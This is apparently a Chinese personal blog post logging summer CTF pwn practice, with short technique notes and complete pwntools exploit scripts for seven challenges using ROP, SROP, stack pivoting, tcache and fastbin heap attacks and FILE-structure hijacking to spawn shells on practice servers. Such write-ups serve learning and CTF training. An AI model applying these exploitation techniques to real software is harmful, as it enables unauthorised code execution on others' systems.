Pwn summer record

hash_hash

暑假pwn的做题记录

ctfshow-flower

查看保护发现没开canary和pie

ida出来的函数表很乱,file查看是静态编译,用string定位到main函数,发现反编译不了,直接读汇编,最开始绕一下整型溢出即可,然后就不知道怎么操作了,请教了一下uuu师傅,说是可以用srop,然后去学了一下

大概就是走系统调用,如果溢出字节足够的话可以采用,只需把寄存器的值配好就行

64位系统调用号

学习了一下uuu师傅的exp,先mprotect开一段rwx内存,接read读入shellcode,最后ret到读入的地址就行

最后要注意一下就是mprotect是页对齐,指定内存区间必须包含整个内存页(4K),且长度需要是页的整数倍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch='amd64')
p=remote('pwn.challenge.ctf.show',28051)
#p=process('./flower')
#elf=ELF('./flower')
se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

main=0x4009AE
rax_rdx_rbx=0x480956
rdi=0x401696
rsi=0x4017b7
syscall=0x46F785
ret=0x4318c6
bss=0x6cc000

sla('> ',str(-1))
payload=b'a'*(0x50+8)+p64(rax_rdx_rbx)+p64(10)+p64(7)+p64(0)
payload+=p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(syscall)
payload+=p64(rax_rdx_rbx)+p64(0)+p64(0x100)+p64(0)
payload+=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(syscall)+p64(bss)
shellcode=asm(shellcraft.sh())
sla('> ',payload)
sleep(0.1)
sl(shellcode)
p.interactive()

ctfshow-CET4

一道开了沙盒的题目,用seccomp查看禁用了啥,发现限制了execve的系统调用,考虑orw的打法,先mprotect一段rwx区域然后写shellcode就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(arch='amd64')
p=remote('pwn.challenge.ctf.show',28081)
#p=process('./CET4')
elf=ELF('./CET4')
libc=ELF('libc6_2.30-0ubuntu2_amd64.so')

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

rdi=0x4013d3
rsi=0x2709c
rdx_r12=0x11c421
main=0x401290
addr=0x404000
bss=0x404089
se(b'hash\x01\x00\x00\x00')
payload=b'a'*(0x40+8)+p64(rdi)+p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])+p64(main)
sla('QAQ:How was your test???\n',payload)
libcbase=uu64(ru('\n'))-libc.sym['puts']
lg('libcbase',libcbase)
rsi+=libcbase
rdx_r12+=libcbase
mprotect=libcbase+libc.sym['mprotect']
read=libcbase+libc.sym['read']
se(b'hash\x01\x00\x00\x00')
payload2=b'a'*(0x40+8)
payload2+=p64(rdi)+p64(addr)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)
payload2+=p64(mprotect)
payload2+=p64(rdi)+p64(0)+p64(rsi)+p64(addr)+p64(rdx_r12)+p64(0x100)+p64(0)
payload2+=p64(read)+p64(addr)
shellcode=asm(shellcraft.open('flag'))
shellcode+=asm(shellcraft.read(3,bss,0x100))
shellcode+=asm(shellcraft.write(1,bss,0x100))
sla('QAQ:How was your test???\n',payload2)
sleep(0.01)
sl(shellcode)
p.interactive()

ctfshow-CET6

栈迁移打了一下午没通,因为忽略了read函数的ret调用,导致程序走向了奇怪的方向,总的来说还得多调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#context(log_level='debug')
#p=remote('pwn.challenge.ctf.show',28090)
p=process('./CET6')
#gdb.attach(p)
elf=ELF('./CET6')
libc=ELF('./libc6_2.30-0ubuntu2_amd64.so')
se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

text=0x4011AE
bss=0x404900
rdi=0x4012f3
leave_ret=0x4011C5
start=0x4011C7
ret=0x40101a

se(b'hash\x01\x00\x00\x00')
payload1=b'a'*0x40+p64(bss)+p64(text)
sea('QAQ:How was your test???\n',payload1)
payload2=p64(bss)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(text)
payload2+=b'a'*(0x40-len(payload2))+p64(bss-0x40)+p64(leave_ret)
se(payload2)
puts_addr=uu64(ru('\n'))
libcbase=puts_addr-libc.sym['puts']
lg('puts_addr',puts_addr)
lg('libcbase',libcbase)
sh=0x1b6613+libcbase
system=libcbase+libc.sym['system']
lg('system',system)
payload3=b'a'*0x20+p64(rdi)+p64(sh)+p64(system)
sl(payload3)
p.interactive()

babyheap_0ctf_2017

打堆重叠,利用malloc_hook在main_arena-0x10的位置泄露libc,本来想着打freehook,但是由于是glibc2.23的版本有fastbin对size的检测,查了下内存不大好构造,但是mallochook上倒是可以,所以最后把og写到mallochook即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
p=remote('node4.buuoj.cn',27542)
#p=process('./babyheap_0ctf_2017')
libc=ELF('./libc-2.23.so')
#gdb.attach(p)

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
sla('Command: ',str(i))

def add(size):
cmd(1)
sla('Size: ',str(size))

def edit(idx,size,cont):
cmd(2)
sla('Index: ',str(idx))
sla('Size: ',str(size))
sla('Content: ',cont)

def dele(idx):
cmd(3)
sla('Index: ',str(idx))

def show(idx):
cmd(4)
sla('Index: ',str(idx))

add(0x10)
add(0x100)
add(0x60)
add(0x100)
add(0x10)
dele(1)
edit(2,0x70,b'a'*0x60+p64(0x180)+p64(0x110))

dele(3)

add(0x100)
show(2)
ru('\n')

malloc_hook=uu64(ru(b'\x00'))-88-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
og=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libcbase+og[1]
lg('libcbase',libcbase)
lg('og',onegadget)

addr=malloc_hook-0x23
add(0x60)
dele(3)
edit(2,8,p64(addr))
add(0x60)
add(0x60)
edit(5,0x13+8,b'a'*0x13+p64(onegadget))
add(0x30)

p.interactive()

vn_pwn_easyTHeap

整个做完学到不少

限制了malloc和free的次数,而且free仅有3次,由于是glibc2.27的环境,所以考虑劫持tcache_perthread_struct

tcache_perthread_struct是一开始申请的size为0x250的chunk,调试的时候就能看到,利用double free劫持到这个chunk,而该chunk的user区域前64字节是存count数组,后64×8字节是存各个链的tcache entry

若能劫持tcache_perthread_struct相当于能在tcache申请到任何你想要的地址(改entry)

但是在打印放入unsorted bin的chunk的fd指针后我们的free次数就无了,所以考虑打malloc_hook,改og(这里有个trick是前面的double free后malloc三次导致counts是-1也就是ff>7所以我们再free就直接进了unsorted bin,这里的字符型溢出在glibc 2.28增加了检测)

最后发现三个og都打不通,百度了一下提供了一种可行的操作,通过realloc调整栈帧结构来满足og的条件

根据realloc函数的汇编可以看出,调用后有大量push操作,而这可以改变rsp位置,从而使[rsp+xx]=NULL有可能满足,注意到在执行完压栈后还调用了realloc_hook,在malloc_hook-0x8的位置

所以我们可以采用在malloc_hook放realloc,在realloc_hook放og的操作,来看看是否能打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
p=remote('node4.buuoj.cn',25729)
#p=process('./vn_pwn_easyTHeap')
libc=ELF('./libc-2.27.so')
#gdb.attach(p)

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))


def cmd(i):
sla('choice: ',str(i))

def add(size):
cmd(1)
sla('size?',str(size))

def edit(idx,cont):
cmd(2)
sla('idx?',str(idx))
sea('content:',cont)

def show(idx):
cmd(3)
sla('idx?',str(idx))

def dele(idx):
cmd(4)
sla('idx?',str(idx))


og=[0x4f2c5,0x4f322,0x10a38c]
add(0x100)
dele(0)
dele(0)
show(0)
tcache_struct=uu64(ru('\n'))-0x260
lg('tcache',tcache_struct)
add(0x100)
edit(1,p64(tcache_struct+0x10))
add(0x100)
add(0x100)
add(0x100)
dele(1)
show(1)
malloc_hook=uu64(ru('\n'))-96-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
lg('malloc_hook',malloc_hook)
lg('libcbase',libcbase)
realloc=libcbase+libc.sym['realloc']
onegadget=og[1]+libcbase
lg('og',onegadget)
edit(3,b'a'*64+p64(malloc_hook-8))
add(0x10)
edit(5,p64(onegadget)+p64(realloc+8))
add(0x10)

p.interactive()

de1ctf_2019_weapon

主要的问题是没有show函数,这就导致了libc的泄露出现困难,需要打io_file

学了一手IO_File,虽然最后也没怎么搞明白,但这里只要打stdout结构体,部分写write_base即可,主要是要会动调

打了差不多半天,本地调了半天,也试了realloc调栈帧,都不行,结果一打远程通了。。。😢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
#context(log_level='debug')
libc=ELF('libc-2.23.so')

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
sla('choice >> \n',str(i))

def add(size,idx,cont):
cmd(1)
sla('wlecome input your size of weapon: ',str(size))
sla('input index: ',str(idx))
sea('input your name:\n',cont)

def dele(idx):
cmd(2)
sla('input idx :',str(idx))

def edit(idx,cont):
cmd(3)
sla('input idx: ',str(idx))
sea('new content:\n',cont)

og=[0x45216,0x4526a,0xf02a4,0xf1147]
while True:
try:
p=remote('node4.buuoj.cn',26943)
#p=process('./de1ctf_2019_weapon')
for i in range(3):
add(0x10,i,b'\x00'*8+b'\x21')
add(0x60,3,'a')
add(0x10,4,'a')
dele(2)
dele(1)
edit(1,b'\x10')
add(0x10,5,'a')
add(0x10,6,b'\x00'*8+p64(0xb1))
dele(1)
dele(3)
add(0x30,7,'a')
edit(3,'\xdd'+'\x35')
add(0x60,8,'a')
add(0x60,9,b'a'*51+p64(0xfbad1800)+p64(0)*3+b'\x30')
p.recv(16)
libcbase=uu64(ru(b'\x00'))-0x10-libc.sym['_IO_2_1_stdout_']
lg('libcbase',libcbase)
malloc_hook=libcbase+libc.sym['__malloc_hook']
onegadget=libcbase+og[3]
realloc=libcbase+libc.sym['realloc']
lg('realloc',realloc)
lg('og',onegadget)
sla('choice >> ','1')
sla('wlecome input your size of weapon: ',str(0x60))
sla('input index: ',str(0))
sea('input your name:','a')
sl('2')
sla('input idx :','0')
sl('3')
sla('input idx: ','0')
sl(p64(malloc_hook-0x23))
sla('choice >> ','1')
sla('wlecome input your size of weapon: ',str(0x60))
sla('input index: ',str(0))
sea('input your name:','a')
sla('choice >> ','1')
sla('wlecome input your size of weapon: ',str(0x60))
sla('input index: ',str(1))
sea('input your name:',b'a'*19+p64(onegadget))
#gdb.attach(p)
sla('choice >> ','1')
sla('wlecome input your size of weapon: ',str(0x10))
#sla('input index: ',str(2))
p.interactive()
except:
p.close()
continue

baby_arena_BCTF2018

buu的远程不大对劲,反正本地拿libc2.23通了

大致思路就是利用题目给的任意地址写大数字打global_max_fast,往io_list_all上写堆地址,伪造IO_file_plus,最后将vtable指向的虚表的_overflow改成og

最后exit调用_IO_flush_all_lockp再调_overflow也就是og来getshell

one_gadget这里出了点问题,用环境的libc找的og并没有打通,用system后来打通了,libc给我找了个错的system偏移,气人。。。

gdb调试时io_file相关指令

1
2
3
pwndbg> x &_IO_list_all
pwndbg> fp 0x01014420
pwndbg> p *(const struct _IO_jump_t *)0x602098
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p=remote('node4.buuoj.cn',28554)
p=process('./baby_arena')
libc=ELF('./libc-2.23.so')

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
sla('4.exit\n',str(i))

def add(size,cont):
cmd(1)
sla('Pls Input your note size\n',str(size))
sla('Input your note\n',cont)

def dele(idx):
cmd(2)
sla('Input id:\n',str(idx))

def login(cont,choice):
cmd(3)
sla('Please input your name\n',cont)
sla('1.admin\n',str(choice))

bss=0x6020B0
og=[0x45216,0x4526a,0xf02a4,0xf1147,]
add(0x418,'')
add(0x1400,'')
dele(0)
#gdb.attach(p)
add(0x418,'')
#gdb.attach(p)
ru('\n')
main_arena=uu64(ru('\n'))-88
libcbase=main_arena-0x10-libc.sym['__malloc_hook']
lg('libcbase',libcbase)
onegadget=libcbase+og[4]
#gdb.attach(p)
global_max=libcbase+0x3c67f8
lg('max_fast',global_max)
io_list=libcbase+0x3c5520
lg('io_list',io_list)
system=libcbase+libc.sym['system']+0x10
#login(p64(onegadget)+p64(global_max-8),0)
login(p64(system)+p64(global_max-8),0)
lg('system',system)
#gdb.attach(p)
size=(io_list-main_arena)*2
fake_file=p64(0)*3+p64(1)
fake_file+=fake_file.ljust(0x90,b'\x00')+p64(0xffffffffffffffff)+p64(0)*2
fake_file+=p64(bss-0x18)
dele(1)
add(size,fake_file)
dele(0)
add(0x418,b'a'*0x410+b'sh\x00')
dele(1)
#gdb.attach(p)
cmd(4)

p.interactive()
  • Post title:Pwn summer record
  • Post author:hash_hash
  • Create time:2022-07-07 22:26:08
  • Post link:https://hash-hash.github.io/2022/07/07/Pwn-summer-record/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.